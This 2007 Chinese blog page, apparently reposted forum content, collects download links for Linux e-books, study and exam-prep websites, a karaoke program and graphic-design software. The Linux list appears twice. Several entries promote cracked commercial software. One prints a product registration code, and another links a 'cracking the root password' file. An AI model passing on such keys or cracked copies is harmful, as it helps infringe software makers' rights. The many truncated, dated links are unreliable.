网络实际操作 thunder://QUFodHRwOi8vZG93bmxvYWQuY2hpbmFpdGxhYi5jb20vZG93bmxvYWQuYXNwP2lkPTM3MTM3Wlo=
红旗linux 中文版初级教程 http://down.hack58.com/fzw_hack58/sohu/11-23linux.rar
linux 核心源代码分析PDG http://www.00083.com/soft/uploadsoft/linux核心源代码分析.rar?6103004891303x1174341082x6103009877379-15c492eb5c3033c99a07c2fba419c496
破解根用户密码 http://www.942d.com/shipin/bbs/linuxsn.rar
Red Hat Linux Fedora傻瓜书 httP://book1.ibook8.com/ibook8co ... 5/041113/fedora.rar

Linux知识宝库典藏版  ftp://222.214.218.42/book3/20060 ... 35-0c5492042030.chm
Linux程序设计  ftp://down.eshuba.com/eshuba/xitongxiangguan/Linuxcxsj.rar
Linux参考大全  httP://book1.ibook8.com/ibook8com/pc2005/701/1/521hacker-20.zip
linux编程初学者入门  ftp://222.214.216.57/book2/20061 ... 00-a603302e0466.rar

 

LINUX应用技术精华{面向初学Linux朋友的书籍}   http://www.linuxfans.org/nuke/software/LINUX应用技术精华{面向初学Linux朋友的书籍}/LINUX应用技术精华{面向初学Linux朋友的书籍}.rar
redhat9从入门到精通  http://down.315safe.com:315/redhat9从入门到精通.rar

 

Linux C函数库参考手册  http://cnc-http.xpbook.com:81/200506/Linux%20C函数库参考手册.rar?6102881127298x1150968278x6102884440460-71dc8cd6d874db99d29888002914a4d5
Linux 内核完全注释   httP://book1.ibook8.com/ibook8co ... 113/linuxsystem.rar
Linux2006年9月 总第三期  http://www.linuxer.cn/magazine/linuxer3-2006-09.pdf
Linux_network_manage-3245      http://down.csdn.net/down2//2006 ... ork_manage-3245.rar
一周内学会Linux系统管理   http://download1.csdn.net/down2/2006/10/499/1zxhlinux-2605.rar
linux编程白皮书   http://download1.csdn.net/down//2006/webdown/004/Linuxbcbps.rar
linux上的c编程   http://www.cinchina.com/Soft/Sho ... lID=1&SoftID=12
linux宝典  thunder://QUFodHRwOi8vZG93bmxvYWQuY2hpbmFpdGxhYi5jb20vZG93bmxvYWQuYXNwP2lkPTM3MDk3Wlo=
《Linux内核完全注释》 V1.9.5版  http://oldlinux.qbang.org/download/clk011c-1.9.5.pdf
linux教材  thunder://QUFodHRwOi8vd3d3Lmp6NXUuY29tL2Rvd25sb2FkLmFzcD9pZD0xNDUxNSZkb3duaWQ9MFpa
linux命令全集Shell_manual  http://www.uplinux.com/php/downl ... ZWxsX21hbnVhbC56aXA

EDN电子技术http://www.ednchina.com/
磁动力http://www.cdle.net/bbs/
大学生电子http://211.86.58.23/ziliao/index.asp
电子产品世界http://www.eepw.com.cn/
电子论坛http://www.avrw.com/learn.htm
研发网www .52rd .com

 

中学生的学习网站大全
http://www.cen114.com

托福考试和出国留学类网站

托福考试
1         托福考试报名
          http://www.bj262toefl.com.cn/
2         托福考试网上报名
          http://www.bj262toefl.com.cn/
3         托福训练中心
          http://www.toeflpro.com/
4         新东方托福培训
          http://www.neworiental.org/class/toefl.asp
5         中青网托福考试
          http://www.cycnet.com/education/chuguo/tofel/
6         IELTS网站
          http://www.fronttraining.com/
7         商业托福考试
          http://exam.studa.com/classhtml/sytf.html


出国留学网站

1          国家留学网
          http://www.csc.edu.cn/gb/
2         无忧雅思网
          http://www.51ielts.com/
3         留学澳大利亚
          http://www.dyo.com.cn/australia/
4         DIY留学家园
          http://www.imm-diy.com/htm/
5         滴答出国资讯
          http://www.tigtag.com/community/whatsnew.asp
6         美国校园网站
          http://www.uscampus.com.cn/index.asp
7         德国大学信息网
          http://www.netbig.de
8         北美国际网校
          http://www.summerpond.org
9         出国在线
          http://www.chuguo.org.cn/
10         北美国际教育网
          http://www.summerpond.org
11         星华出国网
          http://www.starglory.com/
12         上海青年报社--留学指南
          http://www.why.com.cn/abroad/index.asp
13         学在法国
          http://www.paris-beijing.com/Cover/Education/Education.htm
14         欧览留学
          http://www.ouline.com/education/
15         德国留学指南
          http://www.lookinfo.com/study/default.asp
16         天津留学人才网
          http://www.tjscse.com/
17         澳际出国留学
          http://www.globeedu.com/index.shtml
18         国旅留学
          http://www.globaledu.com.cn/
19         爱尔兰中国学生之家
          http://www.kina.cc/ie/
20         环球雅思连锁学校
          http://www.ielts.com.cn
21         皖华留学
          http://www.ahwanhua.com/
22         贵州省出国留学服务中心
          http://www.gossc.com/
23         达瑞出国
          http://www.direxe.com/menu_13/index.shtml
24         新西兰留学服务中心
          http://www.study-nz.com/
25         加拿大环球教育咨询中心思洋教育咨询网
          http://www.education-overseas.com/
26         育路留学网
          http://lx.yuloo.com
27         菲律宾留学网
          http://www.phi-edu.com
28         武汉英中教育
          http://www.whbc2000.com
29         武汉英中出国留学培训中心
          http://www.whbc2000.cn
30         SIK留学韩国
          http://www.studyinkorea.com.cn
31         你我日语综合网
          http://www.youican.com

经济管理类网站


管理类、经济商业网站

帖子的作者给我们推荐了上“千个全球管理类、经济商业网站”

财务会计类

1          中国会计网
          http://www.canet.com.cn/info/
2         财会教研工作室
          http://www.ckjy.any2000.com
3         中国财务纵横网
          http://www.172cpa.com/
4         中华会计网校
          http://www.chinaacc.com/
5         中国财会网
          http://www.kj2000.com/
7         应试精华财会网
          http://www.yingshijh.com/
8         中国会计资讯
          http://www.accinfo.net/
9         中国财经教育网
          http://www.cfeenet.com/
10         中国注册会计师协会
          http://www.cicpa.org.cn/
11        金融会计网
          http://www.fa.net.cn/
12         东方会计网
          http://www.accgo.com/
13         中国财税网
          http://www.edu110.com/index0.asp
14        网络注册会计师
          http://www.netcpa.com.cn/
15         中国会计视野网
          http://www.esnai.com/

 

考研类网站

极力推荐考研导航网(这里有很全的比较专业的考研网站)
     中国教育考试在线http://www.eduexam.com.cn/index.jsp BBSEE

     考研共济站http://bbs.kaoyantj.net/kaoyanshitiboo ... 9/476304ab4c56892f.html

     考研论坛http://bbs.kaoyan.com/forumdisplay.php?fid=66&page=1

     亚非拉http://www.yafeila.com/art_list.asp?cat_id=46

     中国考研网http://www.cnky.net/

     考研ok网http://www.kaoyanok.com/

     考研365天http://www.kaoyan365.com/

     研路通http://www.yanlutong.com/

     51考研http://www.51kaoyan.com.cn/

     复旦考研http://www.yikao.com/

     上海考研同路人http://club.17ky.com/index.asp?boardid=9&page=

     共享天下考研http://bbs.kaoyansky.cn/forumdisplay.php?fid=117

     无忧考研http://51ky.com/default.htm

     考研教育网http://www.cnedu.cn/

     中国考研网http://www.chinakaoyan.com/article.php/1974

     qq考研http://edu.qq.com/kaoyan/

==================================================

大量C语言、C++、C#、VC编程相关书籍下载
http://dl.njfiw.gov.cn/books/( 很多计算机书籍,绝对经典!)

 

计算机类网站

电脑方面的一些网站

http://dl.njfiw.gov.cn/books/ (很多计算机方面的书,可以直接阅读)

操作系统类
http://os.rdxx.com/ (最全面的操作系统网站)
http://www.nohack.cn/jsj/system/20061007/36010.html(黑客手册)
http://tech.163.com/school/(网易学院)
http://www.gbunix.com/ (Unix中文)
http://os.yesky.com/ (天极)
http://www.debian.org/ (环球操作系统,是一个有点另类的操作系统)
http://it.xtzj.com/ (系统之家)

编程开发类
http://www.csdn.net/ (Csdn开发者)
http://www.java-cn.com/ (java中文站)
http://www.programfan.com/  (编程爱好者)
http://www.bc-cn.net/index.html (编程中国)
http://www.zxbc.cn/  (自学编程网)
WWW.MLDN.CN (学java的好地方)
计算机故障维修学习
http://www.wxdn.net/ (电脑维修之家)
http://www.pc-hospital.net/ (电脑医院)
http://www.biosrepair.com/ (bios维修)
http://www.cnfix.com (电脑维修网)

数学类网站


专业数学网址大全



http://www.madio.net/  (数学中国)
http://www.shumo.com/main/html/bbs.html (数学建模网)
http://www.mathfan.com/ (数学爱好者论坛)
http://www.844844.com/xinyun/index.html (高中数学课件网)
http://www.sx999.net/  (数学之家,适合初高中生)
http://www.gzjzes.net/forum/ (数学论坛)

英语类网站


一些优秀的英文信息资源(一)


一些优秀的英文信息资源(二)



帖子作者: 悉想者


英语的一些学习网站

帖子作者:tianzaibianlan

英语学习导航网 (关于英语学习的各类网站,英语学习的网站知道这一个就足够了)

http://www.oifree.com/fourandsix.html (英语考试免费资源)

 

 

 几本linux学习的书籍

本人正在进行linux 的学习 希望这些资料对linux爱好者有用
linux 教材大全 ftp://down.eshuba.com/eshuba/xitongxiangguan/Linuxjcdq.rar


linux 使用大全 http://down.eshuai.cn/shuba/xito ... %C3%B4%F3%C8%AB.rar
linux 学习宝典 http://down1.cnhacker.com/booksdown/07013103050c8cb659a28f9ff.rar

        
linux 从入门到精通 http://www.gouhuo.com/study/linuxbook.zip
练成linux 高手 http://www.jz5u.com/download.asp?id=15590&downid=0
送给linux 初学者 ftp://211.95.73.26/hl/送给初学Linux的穷人Linux系统指令大全.pdf  

         
linux 系统管理 ftp://211.95.73.26/1zxhlinux.rar
linux 命令大全 http://ftpgz5.pconline.com.cn/exam/it/Linux061114.rar
linux 软件工程师 ftp://222.214.218.42/book3/20060 ... 81-4941bcee1f11.pdf  

  
基础学习 http://www.00083.com/soft/upload ... 84b69a63c2ed2a47af3
基础教程完整版 http://download.chinaitlab.com/download.asp?id=34873
命令全集 http://down.linuxmine.com/soft/0/1/01000001.rar  


  使用学习教程 ftp://222.214.216.57/book2/20061 ... 16-c8b5facb0654.chm
网络安全配置 http://vip.hackbase.com/vipsoft/vipteacher/20050305linux29.rar
linux 从入门到精通 ftp://down.eshuba.com/eshuba/200601/Linux ??????.rar  


  http://ftpgz13.pconline.com.cn/pub/download/200205/linuxsite.rar
新手管理员手册 http://www.00083.com/soft/upload ... fc01983a9ded8943b62
安装与配置简明手册 http://cpss.zz.ha.cn/study/linux ... %f7%ca%d6%b2%e1.zip
网络实际操作 thunder://QUFodHRwOi8vZG93bmxvYWQuY2hpbmFpdGxhYi5jb20vZG93bmxvYWQuYXNwP2lkPTM3MTM3Wlo=
红旗linux 中文版初级教程 http://down.hack58.com/fzw_hack58/sohu/11-23linux.rar
linux 核心源代码分析PDG http://www.00083.com/soft/uploadsoft/linux核心源代码分析.rar?6103004891303x1174341082x6103009877379-15c492eb5c3033c99a07c2fba419c496
破解根用户密码 http://www.942d.com/shipin/bbs/linuxsn.rar
Red Hat Linux Fedora傻瓜书 httP://book1.ibook8.com/ibook8co ... 5/041113/fedora.rar  


Linux知识宝库典藏版  ftp://222.214.218.42/book3/20060 ... 35-0c5492042030.chm
Linux程序设计  ftp://down.eshuba.com/eshuba/xitongxiangguan/Linuxcxsj.rar
Linux参考大全  httP://book1.ibook8.com/ibook8com/pc2005/701/1/521hacker-20.zip
linux编程初学者入门  ftp://222.214.216.57/book2/20061 ... 00-a603302e0466.rar  


LINUX应用技术精华{面向初学Linux朋友的书籍}   http://www.linuxfans.org/nuke/software/LINUX应用技术精华{面向初学Linux朋友的书籍}/LINUX应用技术精华{面向初学Linux朋友的书籍}.rar
redhat9从入门到精通  http://down.315safe.com:315/redhat9从入门到精通.rar  


Linux C函数库参考手册  http://cnc-http.xpbook.com:81/200506/Linux%20C函数库参考手册.rar?6102881127298x1150968278x6102884440460-71dc8cd6d874db99d29888002914a4d5
Linux 内核完全注释   httP://book1.ibook8.com/ibook8co ... 113/linuxsystem.rar
Linux2006年9月 总第三期  http://www.linuxer.cn/magazine/linuxer3-2006-09.pdf
Linux_network_manage-3245      http://down.csdn.net/down2//2006 ... ork_manage-3245.rar
一周内学会Linux系统管理   http://download1.csdn.net/down2/2006/10/499/1zxhlinux-2605.rar
linux编程白皮书   http://download1.csdn.net/down//2006/webdown/004/Linuxbcbps.rar
linux上的c编程   http://www.cinchina.com/Soft/Sho ... lID=1&SoftID=12
linux宝典  thunder://QUFodHRwOi8vZG93bmxvYWQuY2hpbmFpdGxhYi5jb20vZG93bmxvYWQuYXNwP2lkPTM3MDk3Wlo=
《Linux内核完全注释》 V1.9.5版  http://oldlinux.qbang.org/download/clk011c-1.9.5.pdf
linux教材  thunder://QUFodHRwOi8vd3d3Lmp6NXUuY29tL2Rvd25sb2FkLmFzcD9pZD0xNDUxNSZkb3duaWQ9MFpa
linux命令全集Shell_manual  http://www.uplinux.com/php/downl ... ZWxsX21hbnVhbC56aXA  

posted @ 2007-10-07 19:38 MEYE 阅读(722) | 评论 (0)编辑 收藏
下载]中国目前最好的卡拉OK点歌系统(适合个人和歌厅使用)

 


一直以来我们只有去歌厅才能享受到的卡拉OK点歌系统,现在可
以简单的安装到普通的家用电脑上面,我偶然在网上发现了一个
好软件,贴出来和大家分享,在这里卡拉OK搬回家,让K歌更具自
由。进入个人欢唱,您在自我陶醉之余,可以录歌,还有评分功能,
让你不段提升自己的K歌水平,马上体验KTV包房效果,把KTV搬回家。
 
520)this.width=520;" src="http://www.xdlvod.com/Skin/dvd11/main_b.jpg" width=520 onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>

还集成了小游戏
520)this.width=520;" src="http://www.xdlvod.com/Skin/dvd11/game_b.jpg" width=520 onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>

目前有三个版本供大家下载
dvd版本下载地址:点击下载
VCD版本下载地址:点击下载
MPEG版本下载地址:点击下载

http://tk.mumayi.net/CYRJ03.htm
ftp://download:download@210.40.7.232/
posted @ 2007-10-04 13:21 MEYE 阅读(1088) | 评论 (0)编辑 收藏
     摘要: 分享]著名大学在线视频教学,授课汇集大全 [北方交通大学][数字电路][网页] http://61.131.25.2/course/hep/shuzidianlu 北京理工大学在线教学 ...  阅读全文
posted @ 2007-10-04 12:38 MEYE 阅读(6302) | 评论 (3)编辑 收藏


[下载]刻画精品--三维立体图像制作等14款

1. 制作三维图像的工具-Cult3D Designer
V5.3.0.117-绿色汉化版
软件大小:10.77 MB
软件语言:简体中文
软件类别:国外软件 / 免费软件 / 3D制作类
运行环境:Win2003, WinXP, Win2000
添加时间:2006-12-15 12:33:20
更新时间:2006-12-15
12:33:20
软件简介:
是一个制作三维图像的虚拟现实软件,它可以导入由 3ds max 和 MAYA 制作的三维模型,然后在
Cult3D
Designer 中给模型加入互动效果,事件和声音最后生成可以在互联网上浏览的三维立体图像(需要 Internet Explorer
安装相应的插件),或者嵌入到 Word、PowerPoint、Acrobat
文件中,是当前几种较为流行的虚拟现实软件之一。
小提示:需要拉协议到底部,才可进入主界面!
注册信息:
Code:1UED41YT0HJLUPS4BHQYBJC8N0
520)this.width=520;" src="http://www.caicai.org/ewebeditor/uploadfiles/2006-12/20061215_124258.GIF" width=520 onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://www.caicai.org/downinfo/30528.html
2.让你开开眼界:(刑事模拟画像软件)智能画像专家
2.0版
软件类型 特别软件
运行环境 Win9X/WinXP/Win2000/
软件语言 简体中文
授权方式 免费软件
整理时间 2006-5-14 21:50:55
软件大小 12 MB
下载统计 本日下载:13 本周下载:13 本月下载:250
总共下载:3818
软件简介∷
这是一个刑事模拟画像软件,有演示版可以下载,就是图库只有几十种,正式版有上万种。
在1024*768分辨率下运行
智能画像 功能强大

独创智能画像技术,根据目击者的描述,选择确认特征后,电脑即刻自动生成符合特征的人像连续显示。也可从发型、脸型、眉毛、眼睛、鼻子、胡须、嘴型库中选择合适的五官人工组像,五官位置、肤色自动匹配,并可随意修改调整。七大类上千种典型五官涵盖东南西北男女老少中国人。
特征添加 方便快捷
● 任意添加皱纹、色斑、胎记、黑痣、痤疮等等个性特征,并配备了各式帽子、眼镜、耳环、项链和服装,和五官随意组合,即刻显现。
● 提供画笔、喷枪、复制、涂抹、橡皮等常用绘图工具,使你创造任何相貌特征都得心应手。
● 能使画像富有喜怒哀愁等表情变化,更准确地把握被画者的气质特征。
多种画像效果
多种打印模式
● 彩色、素描双模式成像,随时变成黑白、彩绘、素描或版画效果。

成像可以添加文字说明,并以多种形式打印出来,一像多幅,*作方便快捷。
人性化设计

创新模拟画像一机双屏,同步显示,主屏供画像人员观察*作,辅屏去掉功能按纽并使画像放大显示,让目击者观看得更清楚,思维更集中。
● 十种典型相貌模版随你调用,成像可以保存成通用图象格式方便其他调用,也可保存为你自己创作的模版,效率更高,效果更好。

所有*作无限次撤消恢复,灵活方便。无需具有电脑知识和专业绘画技巧,一看就会,一用就行,人人都能成为模拟画像高手!
解压密码:www.jz5u.com
520)this.width=520;" src="http://www.jz5u.com/upimages/2006-5/200651383175921.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.jz5u.com/upimages/2006-5/200651383394921.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.jz5u.com/upimages/2006-5/200651383275561.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://www.jz5u.com/Codelist/Catalog173/3864.html
3.三维立体图像制作大师
v3.10 特别版
软件类型: 特别软件/特别软件
软件语言: 简体中文
运行环境:
Win9X/WinME/NT/Win2000/WinXP/Win2003
软件大小: 2.58 MB
整理时间: 2006-1-8
15:01:02
下载次数: 本日:79 本周:79 本月:79 总计:79  
软件简介:
三维立体画是利用人眼立体视觉现象制作的绘画作品。三维立体画充分利用人的双眼立体视觉,带给你一个层次分明的3D世界。
如果你不仅仅满足于观赏三维立体画,并且希望自己亲手制作,那么这款专业的三维立体画制作软件将帮助你完成一幅幅多层次立体感的精美图画..
520)this.width=520;" src="http://www.orsoon.com/upimages/2006-1/20061854052909.JPG" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://www.orsoon.com/Software/Catalog114/5486.html
4.3DXara3D文字动画制作工具v5.02绿色汉化版
软件大小:1.25
MB
软件语言:简体中文
软件类别:国外软件 / 免费软件 / 3D制作类
运行环境:Win2003, WinXP,
Win2000,
NT, WinME
添加时间:2005-11-16 18:29:54
更新时间:2005-11-16
18:29:54
软件简介:
太强大了!支持所有英文、中文字库,拥有几十个动画效果,拥有几十种质材(木纹,砂跞等等),可以输出avi(视频)、gif、swf(flash)、ani(动画光标)等文件,可直接输出屏保,几乎不可想象,这都是出自一个不到2M文件!
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
 
http://www.caicai.org/downinfo/23794.html
5.方正画苑3.0
软件类型: 国产软件/破解软件
软件语言: 简体中文
运行环境: Win9X/Win2000/WinXP/
软件大小:
481 MB
整理时间: 2005-7-23 1:11:49 解压密码: 默认密码:124132  
软件简介:
中文名称:方正画苑3.0
英文名称:FOUNDER ARTWORLD VERSION
3.0
别名:画苑3.0
资源类型:ISO
版本:方正画苑3.0完美破解版本
发行时间:2003年
制作发行:北大方正
地区:大陆
语言:普通话
简介:
方正画苑
--集版面设计、图形创意、文字排版,
图像处理于一体的平面设计软件
运行环境: 简体中文所有windows系统
PC兼容机PENTIUMⅡ以上
128M以上内存(建议128M)
4GB以上硬盘
24位真彩色显示
包含《方正兰亭》GB版V2.00
把破解文件解压出来拷贝到安装目录下覆盖相同文件即可使用
方正画苑是北大方正推出的一个面向商业印刷领域集图象编辑、版面设计、图形创意、文字排版于一体的制版软件,特别适合于制作高档画册、期刊封面、彩插、挂历台历、条码标签、门票、宣传单、包装、大幅面海报、广告及各种卡片等。尤其是在喷绘广告、短版快速印刷、日历条码制作方面有很大的优势。可以全面地帮助用户完成复杂的设计和创意工作,主要面向彩印厂、广告公司、输出中心等专业用户。
●宗旨
深悉印前行业特点、优化平面设计与制作流程、提高专业用户生产效率、兼容相关软件的设计结果。 
●适用的制作种类
图形、图像、文字相互融合的作品:画册、书刊封面、彩插、广告传单等;日历的设计与制作:挂历本册、台历等;大幅面作品:艺术包装、大幅面海报、灯箱广告等;家庭或个人的自由创意作品:个性化的年历、月历,风格各异的生日卡、贺卡、精美考究的请柬、名片等。
●特别支持
方正画苑对平面设计与制作过程中最常用、最耗时费力的工序有特别支持:日历设计,提供灵活的日历工具,可自动排年历、月历、周历;画册制作中多页拼大版,方正画苑提供自动拼大版工具,生成符合实际生产需要的拼版结果;极耗耐心的发丝类图象裁剪问题,方正画苑提供细节蒙版工具,保证裁剪边沿的准确、细腻。
方正画苑使用流程:
方正画苑使用流程:
目标用户: 出版社照排中心、彩色印刷厂、制版中心、广告公司、个人设计者
主要特点:
1、针对印前工序设计的优化的设计排版软件。集成了图形、图像、文字处理和专业排版功能,一个软件即可完成整个文图处理、编排工作。
2、专业的挂历、台历、条码制作功能;专业的商标、包装盒拼版和
拼大版功能。
3、图像创意功能实用高效,快捷菜单轻松完成特效制作(如边框、软边、渐融、阴影等)。
4、独一无二的发丝裁剪和最优的自动路径勾画
5、具有色彩管理、作业管理、图片管理功能。
方正画苑在印前领域的优势
  
方正技术研究院在对印前平面设计领域进行多年的研究之后,推出的方正画苑软件在系统速度、使用方便性、专业性、兼容性等方面都具有明显的特色,形成了系统的综合优势。在进行图象处理过程中,方正画苑针对印前领域图象数据量大的特点,对用户常用的功能进行算法优化,突破图象处理的速度瓶颈,提高了整个系统的运行效率。为了方便用户的*作,方正画苑实现了多种功能的完全自动化,如日历、条码、阴影、发光、铺底、透明、渐融、加边框等效果都仅需一条菜单命令即可完成。同时,对于实际制作中经常使用的路径勾画功能,方正画苑特别设计了半自动路径和全自动路径两种勾画方式,帮助用户轻松自如地完成复杂路径的勾画。方正画苑是一个非常专业的平面设计软件,日历自动生成功能可以生成市面上常见的各种日历样式;符合国家标准的条形码自动生成使书刊、杂志、包装盒上的条码更加规范;连拷功能对商标、纸杯、包装拼版及模切数据的输出提供强有力的支持;交互及全自动拼大版功能全面支持画册、台历等的折手整版输出。方正画苑对其它软件的兼容性非常突出。在系统兼容性方面,方正画苑可以支持多达15种图象格式的输入输出,可以接收多种流行软件生成的EPS,形成一个开放的*作环境。在使用兼容性方面,方正画苑充分借鉴和吸收了常用平面设计软件的*作特点,使用户可以很快领略方正画苑的精髓。
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://cuurjz.com/Software/Catalog45/82.html
6.文泰刻绘2002+千年图库
软件语言: 简体中文
软件类型: 软件工具 / 设计软件
运行环境: RAR
授权方式: 免费软件
软件大小:
832 MB  
整理时间: 2005-9-11 19:51:00
下载次数: 本日:8 本 周:471 本月:471
总计:13627
软件简介:
文泰刻绘2002+千年图库
转述原帖说明如下:
一、*作界面。容易上手。Word风格*作界面,只要您有使用Windows*作系统和Word的基本知识,使用本软件就会有亲切感。同时,本软件还吸收了FreeHand、PageMaker、CorelDraw等优秀西文软件的优点,增加了键盘功能、全自动(傻瓜型)*作,使用时直接、简单、方便。
二、图形库。丰富多彩、量大面广。除随本软件系统光碟配置的原文泰新图库、文泰实用图库(著名商标、中国民俗图库)、文泰国际图库、国家标准图库(公共标志、提示标志、交通标志等13种)等共有图形近万种外,又增加了千年图库光碟,极大地增加了用户选择应用的可能范围和方便灵活性,节省时间、提高效益。这些图库共同组成了本行业目前最新、最全、最实用的图形库。
三、中英文字库。多而全:
1、汉字库:字型和字体是目前最多的。字型用三次曲线精心制作,是真正的轮廓汉字,笔划经过处理后更加粗厚,可任意放大而不变形。字体有近百种,均按简体、繁体区分,支持GBK大字符集。
2、中英文匹配:为您的汉字库配套了相近的英文字体和标点,并配置了相应的英文基线调整,使用更方便。
3、可挂接Windows底层中英文TTF
(Windows True Type Font)
字库。通过特有的去交叉算法处理,您不必担心输出Windows底层交叉笔划的汉字时会将笔划刻断。
4、新增6款单线字,其中文泰单线简体4种、文泰单线繁体2种。
四、速度和设备利用率:采用32位编程,软件运行速度大大提高。独特的后台输出功能:不管刻字机内存大小如何,只要刻字机一开始工作,就可以把计算机解放出来,使您能在刻字机刻字的过程中充分利用计算机进行其它的工作。
五、与其它软件的兼容性:可与其它软件的EPS与PLT、DXF文件交换,可以读入TIF图与BMP图及文泰刻绘5.X版本的文件。
六、图形输入和编辑
1、直接支持图形扫描:可在本软件内直接挂接扫描仪。
2、彩色、灰度图像条块化,使输出更形象、更逼真。
3、简单实用的节点编辑:增加了批量处理节点的功能和对线段直接*作功能,效率更高。
4、弧排、沿线排版功能强大:提供多种方式弧形画法。弧形排版功能,去除了多余的参数设置,使用更简单,方便。
5、图形扫描曲线化描边:对扫描的彩色图像可以直接处理成用曲线描述的轮廓图,以供刻字机或雕刻机输出。
6、新增调色板功能:用户可以在调色板中任意调配颜色,并可对所需内容全色或分色输出。
7、图形的任意组合:特有的交、并、叉算法和方便的节点编辑,使您的图形制作更简单快捷。
8、最新优化的图象矢量化,速度快、效果好,可以处理大幅面图象。
9、整图自动光顺功能,无需进行节点编辑,轻松到只需轻轻按一下键,就能输出更加光顺圆滑的大幅面图形,有效地避免锯齿现象,而且保证尖角分明。
七、文字录入和编辑:
1、支持汉字大批量录入的即打即排方式录入,可插入以.txt
为后缀的文本文件,并可使用Windows其它软件直接链接到本程序。
2、汉字曲线勾边和加粗功能:用户可以将您需要的汉字任意加粗,并可刻出扩边效果,完全不用担心会产生笔划交叉。
3、对任意文字增加曲线的内外轮廓,来改变文字的粗细程度。
4、汉字的变形及特技效果:可以将汉字做任意形状的变形,可以制作球形、圆柱形等各种特技效果。
5、多国、多民族语言支持。在Windows
2000 下,安装相应的True Type
字库(用户自行安装),即可在同一版面上同时输入中文、俄文、阿拉伯文、韩文等语言文字。
八、整体排版
1、随意的缩放功能:输出版面任意缩放,不需要重新制作版面。
2、人性化的刻绘输出:输出前可以将区域及内容预显在屏幕上,页面可以任意移动及任意定义原点。
3、多页排版,分页输出功能。
九、输出功能
1、随意裁切功能:用小幅面刻字机完成大幅面输出。用户可以随意使用裁切功能,将大字,图形从任何位置,以任何方式裁切输出,并提供裁切区域重复功能,真正做到方便迅速,无缝连接。
2、省纸方式输出:最大限度节省您的纸张,为您节省每一分钱。
3、批量复制输出:同一内容可以批量复制后一次输出。
4、支持任意Windows下的打印设备,任意大小输出、实心彩色输出。
5、支持喷绘机巨幅打印输出。
6、通过特有的排序算法,使输出速度更快,质量更好。
7、支持国产刻字机补偿输出:刻绘输出时,本软件独有的曲线补偿功能使国产的刻字机刻绘输出效果完全等同于进口的刻字机。
8、可以单独设置输出页面的纵横比,确保最终产品的尺寸误差最小。
9、海报制作及彩色打印输出功能:支持Windows底层彩色和黑白打印机直接输出排版结果,组合后批量复制不再有内存限制,并支持图像打印。
10、支持Windows98、2000、XP各版本的直接输出。
1、主机
处理器(CPU):486或486以上。
内存:16M或以上。(内存越大,系统的运行速度越快)
硬盘:840M或以上(文泰刻绘软件全部安装后需将近600M的空间;光盘图库全部安装需300M左右的空间)。
显示器:14VGA彩显或以上,分辨率最好在800×600以上。
光驱:Windows支持的光盘驱动器支持长名文件读取。
2、*作系统
Windows9X/Me/2000/XP*作系统
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://www.pigbt.com/SoftView/SoftView_11544.html
7.E-尺
V1.1 破解版
软件语言: 简体中文
软件类别: 国产软件 / 破解版 / 计算器类
运行环境:
Win9x/WinNT/Win2000/WinME
整理时间: 2005-10-22 11:18:44
页面刷新:
2005-10-22
11:18:46
软件简介:
E-尺是一个用来测量的工具软件,可以用来测量屏幕上两点或多点的距离和角度,特别适合从事网页或美工工作的您。E-尺带有一个能从2X到6X可调的放大镜,使瞄准更精确。有了E-尺,测量只用一个按钮
特色 测量两点的距离测量多点的总长度测量角度带有一个2X至6X的放大镜可以进行厘米,英寸间的转换
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://down5.tiansha.net/20051001/tiansha.net-ecr.rar
http://down4.tiansha.net/20051001/tiansha.net-ecr.rar
8.老夫子漫画作品全集
软件类型: 本站推荐/免费软件
软件语言: 简体中文
运行环境: Win9X/WinME/NT/Win2000/WinXP/
软件大小: 52.9 MB
整理时间: 2005-8-30 10:27:23
下载次数: 本日:17 本周:2341 本月:17
总计:2341
软件简介:
注意:要是用ie点击不能下载的请用flashget或者迅雷下载。
520)this.width=520;" src="http://www.orsoon.com/upimages/2005-8/200583037358737.JPG" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
520)this.width=520;" src="http://www.pconline.com.cn/download/images/download_now.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
http://www.orsoon.com/Software/catalog213/3654.html
9.《文泰2002+》(artcut2002+)(2CD)正版完美镜像
软件/行业软件
发布时间: 2005-04-01 03:34
最新更新时间: 2005-04-01 23:38
中文名称:文泰2002+
英文名称:artcut2002+
版本:(2CD)正版完美镜像
发行时间:2002年
地区:大陆
语言:普通话
简介:
文泰刻绘2002版软件是在1992年推出的文泰刻绘1.0版软件的基础上,经过10多年的不断开发完善而成的。该产品曾获两项大奖:
  -北京市新技术实验区拳头产品奖;
  -全国优秀软件奖,
最新升级:文泰刻绘2002版软件介绍
  1、包括了此前历次出版的文泰刻绘软件的全部功能,
还增加了许多新功能,修正了部分错误,提高了部分功能的性能,能够完成用户刻字绘图的全部需要!
  2、可以在Win9X,Win2000,WinMe,WINDOWS
XP下运行!
  3、多国语言支持。在同一版面上可以同时输入中文,俄文,希腊文,韩文,日文等,方便多民族聚集地使用。
  4、最新优化的图象矢量化,速度快、效果好,可以处理大幅面图象!
  5、整图自动光顺功能,无须进行节点编辑,松快到只轻轻按一键,就能输出更加光顺圆滑的大幅面图形,有效避免锯齿现象,而且保证尖角分明!
